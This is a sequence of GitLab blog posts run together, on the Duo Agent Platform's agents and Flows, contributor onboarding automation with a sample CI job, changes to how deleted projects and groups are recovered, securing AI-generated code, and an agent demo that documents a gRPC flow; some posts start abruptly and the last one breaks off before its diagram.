We are introducing agents that mirror familiar team roles. These agents can search, read, create, and modify existing artifacts across GitLab. Think of these as agents you can interact with individually, that also act as building blocks that you can customize to create your own agents. Like your team members, agents have defined specializations, such as software development, testing, or technical writing. As specialists, they're tapping into the right context and tools to consistently accomplish the same types of tasks, wherever they're deployed.

Here are some of the agents we're building today:

• Chat Agent (now in beta): Takes natural language requests to provide information and context to the user. Can perform general development tasks, such as reading issues or code diffs. As an example, you can ask Chat to debug a failed job by providing the job URL.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1102616311?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="agentic-chat-in-web-ui-demo_Update V2"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script><p></p>

• Software Developer Agent (now in beta): Works on assigned items by creating code changes in virtual development environments and opening merge requests for review.

• Product Planning Agent: Prioritizes product backlogs, assigns work items to human and agentic team members, and provides project updates over specified timelines.

• Software Test Engineer Agent: Tests new code contributions for bugs and validates if reported issues have been resolved.

• Code Reviewer Agent: Performs code reviews following team standards, identifies quality and security issues, and can merge code when ready.

• Platform Engineer Agent: Monitors GitLab deployments, including GitLab Runners, tracks CI/CD pipeline health, and reports performance issues to human platform engineering teams.

• Security Analyst Agent: Finds vulnerabilities within codebases and deployed applications, and implements code and configuration changes to help resolve security weaknesses.

• Deployment Engineer Agent: Deploys updates to production, monitors for unusual behavior, and rolls back changes that impact application performance or security.

• Deep Research Agent: Conducts comprehensive, multi-source analysis across your entire development ecosystem.

What makes these agents powerful is their native access to GitLab's comprehensive toolkit. Today, we have over 25 tools, from issues and epics to merge requests and documentation, with more to come. Unlike external AI tools that operate with limited context, our agents work as true team members with full platform privileges under your supervision.

In the coming months, you'll also be able to modify these agents to meet the needs of your organization. For example, you'll be able to specify that a Software Test Engineer Agent follows best practices for a particular framework or methodology, deepening its specialization and turning it into an even more valuable team member.

Flows orchestrate complex agent tasks

On top of individual agents, we are introducing agent Flows. Think of these as more complex workflows that can include multiple agents with pre-built instructions, steps, and actions for a given task that can run autonomously.

While you can create Flows for basic tasks common to individuals, they truly excel when applied to complex, specialized tasks that would normally take hours of coordination and effort to complete. Flows will help you finish complex tasks faster and, in many cases, asynchronously without human intervention.

Flows have specific triggers for execution. Each Flow contains a series of steps, and each step has detailed instructions that tell a specialized agent what to do. This granular approach allows you to give precise instructions to agents in the Flow. By defining instructions in greater detail and establishing structured decision points, Flows can help solve for the inherent variability in AI responses while eliminating the need to repeatedly specify the same requirements, unlocking more consistent and predictable outcomes without user configuration.

Here are some examples of out-of-the-box Flows that we are building:

• Software Development Flow (now in beta): Orchestrates multiple agents to plan, implement, and test code changes end-to-end, helping transform how teams deliver features from concept to production.

• Issue-to-MR Flow: Automatically converts issues into actionable merge requests by coordinating agents to analyze requirements, prepare comprehensive implementation plans, and generate code.

• Convert CI File Flow: Streamlines migration workflows by having agents analyze existing CI/CD configurations and intelligently convert them to GitLab CI format with full pipeline compatibility.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101941425?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="jenkins-to-gitlab-cicd-for-blog"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• Search and Replace Flow: Discovers and transforms code patterns across codebases by systematically analyzing project structures, identifying optimization opportunities, and executing precise replacements.

• Incident Response & Root Cause Analysis Flow: Orchestrates incident response by correlating system data, coordinating specialized agents for root cause analysis, and executing approved remediation steps while keeping human stakeholders informed throughout the resolution process.

This is where GitLab Duo Agent Platform is taking a truly unique approach versus other AI solutions. We won't just give you pre-built agents. We'll also give you the power to create, customize, and share agent Flows that perfectly match your individual and organization's unique needs. And with Flows, you will then be able to give agents a specific execution plan for common and complex tasks.

We believe this approach is more powerful than building purpose-built agents like our competitors do, because every organization has different workflows, coding standards, security requirements, and business logic. Generic AI tools can't understand your specific context, but GitLab Duo Agent Platform will be able to be tailored to work exactly how your team works.

Why build agents and agent Flows in the GitLab Duo Agent Platform?

Build fast. You can build agents and complex agent Flows in the Duo Agent Platform quickly and easily using a fast, declarative extensibility model and UI assistance.

Built-in compute. With Duo Agent Platform, you no longer have to worry about the hassle of standing up your own infrastructure for agents: compute, network, and storage are all built-in.

SDLC events. Your agents can be invoked automatically on common events: broken pipeline, failed deployment, issue created, etc.

Instant access. You can interact with your agents everywhere in GitLab or our IDE plug-in: assign them issues, @mention them in comments, and chat with them everywhere Duo Chat is available.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1102029239?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="assigning an agent an issue"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

Built-in and custom models supported. Your agents will have automatic access to all of the models we support, and users will be able to choose specific models for specific tasks. If you want to connect Duo Agent Platform to your own self-hosted model, you will be able to do that too!

Model Context Protocol (MCP) endpoints. Every agent and Flow can be accessed or triggered via native MCP endpoints, allowing you to connect to and collaborate with your agents and Flows from anywhere, including popular tools like Claude Code, Cursor, Copilot, and Windsurf.

Observability and security. Finally, we provide built-in observability and usage dashboards, so you can see exactly who, where, what, and when agents took actions on your behalf.

A community-driven future

Community contributions have long fueled GitLab's innovation and software development. We're excited to partner with our community with the introduction of the AI Catalog. The AI Catalog will allow you to create and share agents and Flows within your organization and across the GitLab Ecosystem in our upcoming beta.

We believe that the most valuable AI applications are likely to emerge from you, our community, thanks to your daily application of GitLab Duo Agent Platform to solve numerous real-world use cases. By enabling seamless sharing of agents and Flows, we're creating a network effect where each contribution enhances the platform's collective intelligence and value. Over time, we believe that the most valuable use cases from Agent Platform will come from our thriving GitLab community.

Available today in the GitLab Duo Agent Platform in public beta

The GitLab Duo Agent Platform public beta is available now to Premium and Ultimate customers with these capabilities:

Software Development Flow: Our first Flow orchestrates agents in gathering comprehensive context, clarifying ambiguities with human developers, and executing strategic plans to make precise changes to your codebase and repository. It leverages your entire project, including its structure, codebase, and history, along with additional context like GitLab issues or merge requests to amplify developer productivity.

New Agent tools available: Agents now have access to multiple tools to do their work, including:

• File System (Read, Create, Edit, Find Files, List, Grep)
• Execute Command Line*
• Issues (List, Get, Get Comments, Edit*, Create*, Add/Update Comments*)
• Epics (Get, Get Comments)
• MR (Get, Get Comments, Get Diff, Create, Update)
• Pipeline (Job Logs, Pipeline Errors)
• Project (Get, Get File)
• Commits (Get, List, Get Comments, Get Diff)
• Search (Issue Search)
• Secure (List Vulnerabilities)
• Documentation Search

*=Requires user approval

GitLab Duo Agentic Chat in the IDE: Duo Agentic Chat transforms the chat experience from a passive Q&A tool into an active development partner directly in your IDE.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1103237126?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="agentic-ai-launch-video_NEW"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script><p></p>

• Iterative feedback and chat history: Duo Agentic Chat now supports chat history and iterative feedback, transforming the agent into a stateful, conversational partner. This fosters trust, enabling developers to delegate more complex tasks and offer corrective guidance.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743173?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="agentic-chat-history"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• Streamlined delegation with slash commands: Expanded, more powerful slash commands, such as /explain, /tests, and /include, create a “delegation language” for quick and precise intent. The /include command allows the explicit injection of context from specific files, open issues, merge requests, or dependencies directly into the agent's working memory, making the agent more powerful and teaching users how to provide optimal context for high-quality responses.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743187?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="include-agentic-chat-jc-voiceover"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• Personalization through custom rules: New Custom Rules enables developers to tailor agent behavior to individual and team preferences using natural language, for example, development style guides. This foundational mechanism shapes the agent's persona into a personalized assistant, evolving toward specialized agents based on user-defined preferences and organizational policies.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743179?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="custom-rules-with-jc-voiceover"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• Support for GitLab Duo Agentic Chat in JetBrains IDE: To help meet developers where they work, we have expanded Duo Agentic Chat support to the JetBrains family of IDEs, including IntelliJ, PyCharm, GoLand, and Webstorm. This adds to our existing support for VS Code. Existing users get agentic capabilities automatically, while new users can install the plugin from the JetBrains Marketplace.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743193?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="jetbrains-support-jc-voiceover"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• MCP client support: Duo Agentic Chat can now act as an MCP client, connecting to remote and locally running MCP servers. This capability unlocks the agent's ability to connect to systems beyond GitLab like Jira, ServiceNow, and ZenDesk to gather context or take actions. Any service that exposes itself via MCP can now become part of the agent's skill set. The official GitLab MCP Server is coming soon!

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101743202?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="McpDemo"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• GitLab Duo Agentic Chat in GitLab Web UI. Duo Agentic Chat is also now available directly within the GitLab Web UI. This pivotal step evolves the agent from a coding assistant to a true DevSecOps agent, as it gains access to rich non-code context, such as issues and merge request discussions, allowing it to understand the "why" behind the work. Beyond understanding context, the agent can make changes directly from the WebUI, such as automatically updating issue statuses or editing merge request descriptions.

Coming soon to GitLab Duo Agent Platform

Over the coming weeks, we'll release new capabilities to Duo Agent Platform, including more out-of-the-box agents and Flows. These will bring the platform into the GitLab experience you love today and enable even greater customization and extensibility, amplifying productivity for our customers:

• Integrated GitLab experience: Building on the IDE extensions available in 18.2, we're expanding agents and Flows within the GitLab platform. This deeper integration will expand the ways you can collaborate synchronously and asynchronously with agents. You will be able to assign issues directly to agents, @mention them within GitLab Duo Chat, and seamlessly invoke them from anywhere in the application while maintaining MCP connectivity from your developer tool of choice. This native integration transforms agents into true development team members, accessible across GitLab.

• Agent observability: As agents become more autonomous, we're building comprehensive visibility into their activity as they progress through Flows, enabling you to monitor their decision-making processes, track execution steps, and understand how they're interpreting and acting on your development challenges. This transparency into agent behavior builds trust and confidence while allowing you to optimize workflows and identify bottlenecks, and helps ensure agents are performing exactly as intended.

• AI Catalog: Recognizing that great solutions come from community innovation, we will soon introduce the public beta of our AI Catalog — a marketplace which will allow you to extend Duo Agent Platform with specialized Agents and Flows sourced from GitLab, and over time, the broader community. You'll be able to quickly deploy these solutions in GitLab, leveraging context across your projects and codebase.

• Knowledge Graph: Leveraging GitLab's unique advantage as the system of record for source code and its surrounding context, we're building a comprehensive Knowledge Graph that not only maps files and dependencies across the codebase but also makes that map navigable for users while accelerating AI query times and helping increase accuracy. This foundation enables GitLab Duo agents to quickly understand relationships across your entire development environment, from code dependencies to deployment patterns, unlocking faster and more precise responses to complex questions.

• Create and edit agents and Flows: Understanding that every organization has unique workflows and requirements, we're developing powerful agent and Flow creation and editing capabilities that will be introduced as the AI Catalog matures. You'll be able to create and modify agents and Flows to operate precisely the way your organization works, delivering deep customization across the Duo Agent Platform that enables higher quality results and increased productivity.

• Official GitLab MCP Server: Recognizing that developers work across multiple tools and environments, we're building an official GitLab MCP server that will enable you to access all of your agents and Flows via MCP. You'll be able to connect to and collaborate with your agents and Flows from anywhere MCP is supported, including popular tools like Claude Code, Cursor, Copilot, and Windsurf, unlocking seamless AI collaboration regardless of your preferred development environment.

• GitLab Duo Agent Platform CLI: Our upcoming CLI will allow you to invoke agents and trigger Flows on the command line, leveraging GitLab's rich context across the entire software development lifecycle—from code repositories and merge requests to CI/CD pipelines and issue tracking.

Get started now

• GitLab Premium and Ultimate customers in GitLab.com and self-managed environments using GitLab 18.2 can use Duo Agent Platform immediately (beta and experimental features for GitLab Duo must be enabled). GitLab Dedicated customers will be able to use the Duo Agent Platform with the release of GitLab 18.2 for Dedicated next month.

• Users should download the VS Code extension or the JetBrains IDEs plugin and follow our guide to using GitLab Duo Agentic Chat, including Duo Chat slash commands.

New to GitLab? See GitLab Duo Agent Platform in action at our Technical Demo, offered in two timezone-friendly sessions: Americas and EMEA and Asia-Pacific. To get hands-on with GitLab Duo Agent Platform yourself, sign up for a free trial today.

<small>This blog post contains “forward-looking statements” within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934. Although we believe that the expectations reflected in the forward-looking statements contained in this blog post are reasonable, they are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause actual results or outcomes to be materially different from any future results or outcomes expressed or implied by the forward-looking statements.

Further information on risks, uncertainties, and other factors that could cause actual outcomes and results to differ materially from those included in or contemplated by the forward-looking statements contained in this blog post are included under the caption “Risk Factors” and elsewhere in the filings and reports we make with the Securities and Exchange Commission. We do not undertake any obligation to update or release any revisions to any forward-looking statement or to report any events or circumstances after the date of this blog post or to reflect the occurrence of unanticipated events, except as required by law.</small>

While our returning open source contributors were merging more code changes and collaborating on deeper features, first-time contributors were struggling to get started. We knew many newcomers to open source often gave up or never asked for help. But as advocates for GitLab's mission

to enable everyone to contribute, we wanted to do better.

We started running research studies on open source contributors to GitLab. Then we improved the stumbling blocks. In January, we achieved a record of 184 unique community contributors to GitLab in a single month,

exceeding our team target of 170 for the first time.

Three months later, we broke it again with 192.

Here's how we used GitLab's own tools to solve the newcomer dilemma and grow our open source community.

What we learned studying first-time contributors

In 2023, we conducted the first-ever user study of GitLab open source contributors.

We watched six participants who had never contributed to GitLab make their first attempt. They completed diary studies and Zoom interviews detailing their experience.

Participants told us:

• The contributor documentation was confusing

• Getting started felt overwhelming

• It wasn't clear how or where to find help

Only one out of the six participants successfully merged a code contribution to GitLab during the study.

It became clear we needed to focus on the onboarding experience if we wanted new contributors to succeed.

So we iterated!

Our team spent the next year addressing their challenges. We used GitLab tools,

such as issue templates, scheduled pipelines, webhooks, and the GitLab Query Language (GLQL), to build an innovative semi-automated onboarding solution.

In 2025, we performed a follow-up user study with new participants who had never made a contribution to GitLab. All 10 participants successfully created and merged contributions to GitLab, a 100% success rate. The feedback showed a great appreciation for the new onboarding process, the speed at which

maintainers checked in on contributors, and the recognition we offered to contributors.

Even better, participants shared how much fun they had contributing:

"I felt a little rush of excitement at being able to say 'I helped build GitLab.'"

We built personal onboarding with GitLab

Our solution started with engagement.

To help newcomers get started, we introduced a personal onboarding process connecting each

contributor with a community maintainer.

We created an issue template with a clear checklist of tasks.

The onboarding issue also handles access approval for the

GitLab community forks,

a collection of shared projects that make it easier to push changes, collaborate with others,

and access GitLab Ultimate and Duo features.

Using scoped labels, we indicate the status of the access request for easy maintainer follow-ups.

We started with a Ruby script run via a scheduled pipeline,

checking for new access requests and using the issue template to create personalized onboarding issues.

From here, our maintainers engage with new contributors to verify access, answer questions, and find issues.

We standardized responses with comment templates

With multiple maintainers in the GitLab community, we wanted to ensure consistent and clear messaging.

We created comment templates,

which we sync with the repository using the GraphQL API and a

Ruby script.

The script is triggered in .gitlab-ci.yml when comment template changes are pushed

to the default branch (a dry run is triggered in merge requests).

execute:sync-comment-templates:
  stage: execute
  extends: .ruby
  script:
    - bundle exec bin/sync_comment_templates.rb
  variables:
    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY
  rules:
    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == "trigger"
      when: never
    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'
    - if: $CI_MERGE_REQUEST_IID
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        REPORT_ONLY: 1
    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        FORCE_SYNC: 1
        DRY_RUN: 0
        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE

We eliminated the 5-minute wait time

Our first iteration was a little slow.

After starting the onboarding process, contributors wondered what to do next while the scheduled

pipeline took up to 5 minutes to create their onboarding issue.

Five minutes feels like forever when you have the momentum to dive in.

Niklas, a member of our Core team , built a solution.

He added webhook events for access requests

and custom payload templates for webhooks.

These features together allowed us to trigger a pipeline immediately instead of waiting for the schedule.

This reduces the time to roughly 40 seconds (the time it takes for the CI pipeline to run)

and generates the onboarding issue right away. It also saves thousands of wasted pipelines and compute minutes when no access requests actually need processing.

We set up a pipeline trigger token

and used this as the target for the webhook, passing the desired environment variables:

{
  "ref": "main",
  "variables": {
    "EXECUTE_ACCESS_REQUESTS": "1",
    "DRY_RUN": "0",
    "PIPELINE_NAME": "Create onboarding issues",
    "GROUP_ID": "{{group_id}}",
    "EVENT_NAME": "{{event_name}}"
  }
}

We automated follow-ups

With an increasing volume of customers and community contributors onboarding to the GitLab community,

maintainers struggled to track which issues needed attention and some follow-up questions got lost.

We built automation leveraging webhooks and Ruby to label issues updated by community members.

This creates a clear signal of issue status for maintainers.

GitLab Triage

automatically nudges idle onboarding issues to ensure we maintain contributor momentum.

We organized issue tracking with GLQL

We built a GLQL view to keep track of issues.

This GLQL table summarizes onboarding issues which need attention,

so maintainers can review and follow up with community members.

These GLQL views improved our overall triage efficiency.

It was so successful we ended up using this strategy within the GitLab for Open Source

and GitLab for Education programs, too.

With GLQL tables for support issues, these community programs lowered their response times by 75%.

We made the README findable

The @gitlab-community group

is the home for contributors on Gitlab.com.

We already had a README.md file explaining the community forks and onboarding process, but this file

lived in our meta project.

With our follow-up user study, we discovered this was a point of confusion for newcomers when their

onboarding issues were under a different project.

We used GitLab's project mirroring

to solve this and mirrored the meta project to gitlab-profile.

This surfaced the existing README file at the group level, making it easier to discover.

The results speak for themselves

By dogfooding GitLab, we improved the stumbling blocks found in our research studies

and transformed the GitLab contributor journey.

We have grown the number of customers and community members contributing to GitLab,

adding features to the product, solving bugs, and adding to our CI/CD catalog.

Our onboarding process has increased the rate newcomers join the community, and our total number of

contributors on the community forks has doubled over the last 9 months.

We reduced the time it takes for newcomers to make their first contribution by connecting them

with maintainers faster and supporting them in getting started.

We use GitLab's value stream analytics

to track our response rates.

• First response time from community maintainers is down to 46 minutes over the last 3 months

• Average approval time for community forks access is down to 1 hour over the last 3 months

The 100% success rate of our 2025 user study confirmed these improvements for our first-time contributors.

We invested time savings into contributor recognition

Fixing these newcomer challenges allowed us more capacity to focus on better recognition of

contributors, incentivizing first-timers to keep coming back.

The result is contributors.gitlab.com.

We built out a central hub for our contributors that features gamified leaderboards,

achievements, and rewards.

Contributors can see their impact, track progress, and grow in the community.

Sharing what we learned

These improvements work and are repeatable for other open source projects.

We are sharing our approach across communities and conferences so that other projects can consider using these tools to grow.

As more organizations learn the barriers to participation, we can create a more welcoming open source environment.

With these GitLab tools, we can offer a smoother experience for both contributors and maintainers.

We're committed to advancing this work and collaborating to remove barriers for open source projects everywhere.

Start the conversation

Want to learn more about growing your contributor community?

Email contributors@gitlab.com or open an issue

to start a discussion.

We're here to help build communities.

Why we're making these changes

Our current deletion flow has some inconsistencies that can lead to frustrating experiences. Free tier users have had limited or no options for recovering accidentally deleted content, projects in personal namespaces haven't had the same protections as those in groups, and group namespace paths have remained locked after deletion, preventing immediate reuse.

We've heard your feedback, and we're addressing these pain points with a comprehensive redesign of our deletion flow that will be rolled out in multiple iterations.

What has changed already

Over the past quarter, we have implemented fundamental improvements to create a consistent deletion experience across all pricing tiers. These changes have eliminated the frustration of accidentally deleting important content with no recovery option.

• Pending deletion for all users: All deleted projects and groups now enter a "pending deletion" state before being permanently deleted, regardless of their pricing tier.
• Self-service recovery: You can now restore your own content without contacting support, giving you more control and autonomy over your data.
• Clear status indicators: We have standardized how deletion status is displayed across the platform, making it immediately clear when content is pending deletion.
• Extended recovery window: On July 10, 2025, we increased the pending deletion period from 7 to 30 days on GitLab.com. This means you now have ample time to recover from accidental deletions.

What's coming next

Currently in development

Building on the foundation established in our first iteration, we are further enhancing your deletion experience with two key improvements:

• Admin area consistency: Deletions initiated from the Admin area will follow the same pending deletion process as deletions initiated directly from the group or project level, creating a unified experience across all access points.
• Immediate path reuse: When you delete a project or group, its namespace path will be automatically renamed, allowing you to immediately reuse the original path for new content. This will remove the waiting period currently required to reuse namespace paths.

Planned for future release

The final phase will introduce a redesigned deletion experience that completes our vision for a modern, intuitive deletion system:

• Centralized "Trash" interface: All your deleted content will be accessible in a dedicated "Trash" section, providing a familiar paradigm similar to what you're used to in other applications.
• Clear action separation: We will create a clear distinction between "Delete" (temporary, recoverable) and "Delete Permanently" (irrevocable) actions to prevent accidental data loss.
• Bulk management: You'll be able to restore or permanently delete multiple items at once, making cleanup and recovery more efficient.

How these changes benefit you

These enhancements deliver several key benefits that will transform your experience with GitLab's deletion functionality.

• Protection against data loss is provided through pending deletion and self-service recovery available across all tiers, giving you a safety net against accidental deletions. The consistent experience ensures the same deletion flow applies to all projects and groups, eliminating inconsistencies across the platform.

• You'll gain greater control through enhanced visibility and management options for deleted content, with a familiar interface that makes recovery intuitive. Improved workflow efficiency will result from immediate path reuse and bulk management capabilities that streamline your content organization process.

• Most importantly, you'll have peace of mind knowing that the extended 30-day recovery window ensures ample opportunity to recover important data, while the clear separation between temporary and permanent deletion actions prevents accidental data loss.

Your feedback matters

As always, we value your input. Please leave feedback in the feedback issue.

As code is written with less manual effort, we’re seeing a subtle but important behavioral change: Developers are beginning to trust AI-generated code with less scrutiny. That confidence — understandable as it may be — can quietly introduce security risks, especially as the overall volume of code increases. Developers can’t be expected to stay on top of every vulnerability or exploit, which is why we need systems and safeguards that scale with them. AI tools are here to stay. So, as security professionals, it’s incumbent on you to empower developers to adopt them in a way that improves both speed and security.

Here are three practical ways to do that.

Never trust, always verify

As mentioned above, developers are beginning to trust AI-generated code more readily, especially when it looks clean and compiles without error. To combat this, adopt a zero-trust mindset. While we often talk about zero trust in the context of identity and access management, the same principle can be applied here with a slightly different framing. Treat AI-generated code like input from a junior developer: helpful, but not production-ready without a proper review.

A developer should be able to explain what the code is doing and why it’s safe before it gets merged. Reviewing AI-generated code might even shape up to be an emerging skillset required in the world of software development. The developers who excel at this will be indispensable because they’ll marry the speed of LLMs with the risk reduction mindset to produce secure code, faster.

This is where tools like GitLab Duo Code Review can help. As a feature of our AI companion across the software development lifecycle, it brings AI into the code review process, not to replace human judgment, but to enhance it. By surfacing questions, inconsistencies, and overlooked issues in the merge requests, AI can help developers keep up with the very AI that’s accelerating development cycles.

Prompt for secure patterns

Large language models (LLMs) are powerful, but only as precise as the prompts they’re given. That’s why prompt engineering is becoming a core part of working with AI tools. In the world of LLMs, your input is the interface. Developers who learn to write clear, security-aware prompts will play a key role in building safer software from the start.

For example, vague requests like “build a login form” often produce insecure or overly simplistic results. However, by including more context, such as “build a login form with input validation, rate limiting, and hashing, and support phishing-resistant authentication methods like passkeys,” you’re more likely to produce an output that meets the security standards of your organization.

Recent research from Backlash Security backs this up. They found that secure prompting improved results across popular LLMs. When developers simply asked models to “write secure code,” success rates remained low. However, when prompts referenced OWASP best practices, the rate of secure code generation increased.

Prompt engineering should be part of how we train and empower security champions within development teams. Just like we teach secure coding patterns and threat modeling, we should also be teaching developers how to guide AI tools with the same security mindset.

Learn more with these helpful prompt engineering tips.

Scan everything, no exceptions

The rise of AI means we’re writing more code, quicker, with the same number of humans. That shift should change how we think about security, not just as a final check, but as an always-on safeguard woven into every aspect of the development process.

More code means a wider attack surface. And when that code is partially or fully generated, we can’t solely rely on secure coding practices or individual intuition to spot risks. That’s where automated scanning comes in. Static Application Security Testing (SAST), Software Composition Analysis (SCA), and Secret Detection become critical controls to mitigate the risk of secret leaks, supply chain attacks, and weaknesses like SQL injections. With platforms like GitLab, application security is natively built into the developer's workflow, making it a natural part of the development lifecycle. Scanners can also trace through the entire program to make sure new AI-generated code is secure in the context of all the other code — that can be hard to spot if you’re just looking at some new code in your IDE or in an AI-generated patch.

But it’s not just about scanning, it’s about keeping pace. If development teams are going to match the speed of AI-assisted development, they need scans that are fast, accurate, and built to scale. Accuracy especially matters. If scanners overwhelm developers with false positives, there’s a risk of losing trust in the system altogether.

The only way to move fast and stay secure is to make scanning non-negotiable.

Every commit. Every branch. No exceptions.

Secure your AI-generated code with GitLab

AI is changing the way we build software, but the fundamentals of secure software development still apply. Code still needs to be reviewed. Threats still need to be tested. And security still needs to be embedded in the way we work. At GitLab, that’s exactly what we’ve done.

As a developer platform, we’re not bolting security onto the workflow — we’re embedding it directly where developers already work: in the IDE, in merge requests, and in the pipeline. Scans run automatically and relevant security context is surfaced to facilitate faster remediation cycles. And, because it’s part of the same platform where developers build, test, and deploy software, there are fewer tools to juggle, less context switching, and a much smoother path to secure code.

AI features like Duo Vulnerability Explanation and Vulnerability Resolution add another layer of speed and insight, helping developers understand risks and fix them faster, without breaking their flow.

AI isn’t a shortcut to security. But with the right practices — and a platform that meets developers where they are — it can absolutely be part of building software that’s fast, secure, and scalable.

Start your free trial of GitLab Ultimate with Duo Enterprise and experience what it’s like to build secure software, faster. With native security scanning, AI-powered insights, and a seamless developer experience, GitLab helps you shift security left without slowing down.

This is exactly the type of tedious, yet necessary, work GitLab Duo Agent Platform is designed to handle. Instead of replacing developers, it amplifies our capabilities by automating routine tasks so we can focus on creative problem solving and strategic technical work.

Let me show you how I used Duo Agent Platform to generate comprehensive documentation for a Golang project's gRPC communication flow — and how it transformed hours of code analysis into a few minutes of guided interaction.

You can follow along with this video:

<div style="padding:75% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1098569263?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="AI Agent Generates Complete gRPC Documentation in Minutes | GitLab Duo Agent Platform Demo"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

The challenge: Understanding gRPC communication flows

I was working with a project called "Duo Workflow Executor" that communicates with a gRPC server. Rather than spending my afternoon manually tracing through the codebase to understand the communication patterns, I decided to let Duo Agent Platform handle the heavy lifting.

My goal was simple: generate a clear diagram showing how the gRPC communication works, including what payloads are received, what actions are executed, and what responses are sent back.

Working in VS Code with the GitLab Workflow extension installed, I opened the project and crafted a specific prompt for Duo Agent Platform:

"Can you prepare a mermaid diagram that shows the gRPC connection between duo-workflow-service and this project. It should show what this project receives in gRPC payload, and what actions it executes based on the payload, and what it sends back. Study internal/services/runner/runner.go, especially the Run method, and write the mermaid output to a grpc.md file."

Duo Agent Platform didn't just blindly execute my request — it began intelligently gathering context to create a comprehensive execution plan. The platform automatically:

• Searched through relevant Go files in the project
• Read the specific file I mentioned (runner.go)
• Identified additional files that would provide necessary context
• Analyzed the codebase structure to understand the gRPC implementation

This contextual awareness is what sets agentic AI tools with great context apart from simple code generation tools. Instead of working in isolation, Duo Agent Platform understands the relationships between different components of your project.

Collaborative refinement

Rather than making assumptions, Duo Agent Platform is designed to keep a human in the loop at critical moments in task execution to deliver better results. In this scenario, the platform paused to ask clarifying questions about the level of detail I wanted.

Agent: "Should I include error handling details in the diagram?"

Me: "Don't focus on error handling. Include all actions. Focus on gRPC payload."

This back-and-forth refinement is crucial. The agent isn't just executing commands — it's working with me to ensure the deliverable meets my specific requirements.

Execution and results

With the clarified requirements, Duo Agent Platform finalized its execution plan and requested confirmation before proceeding. I could have modified the approach at this stage, but the plan was perfectly aligned with what I needed.

The agent then executed each task in sequence, providing real-time progress updates. Within minutes, it had:

• Analyzed all relevant files across the project
• Created comprehensive documentation with a detailed mermaid diagram
• Saved everything to the requested grpc.md file
• Included valuable context about outgoing payloads and connection management

The resulting documentation wasn't just a basic diagram — it was thorough, accurate, and immediately useful for understanding the system architecture.

Reviewing the output

Here's the actual mermaid diagram that Duo Agent Platform created, showing the complete gRPC communication flow:

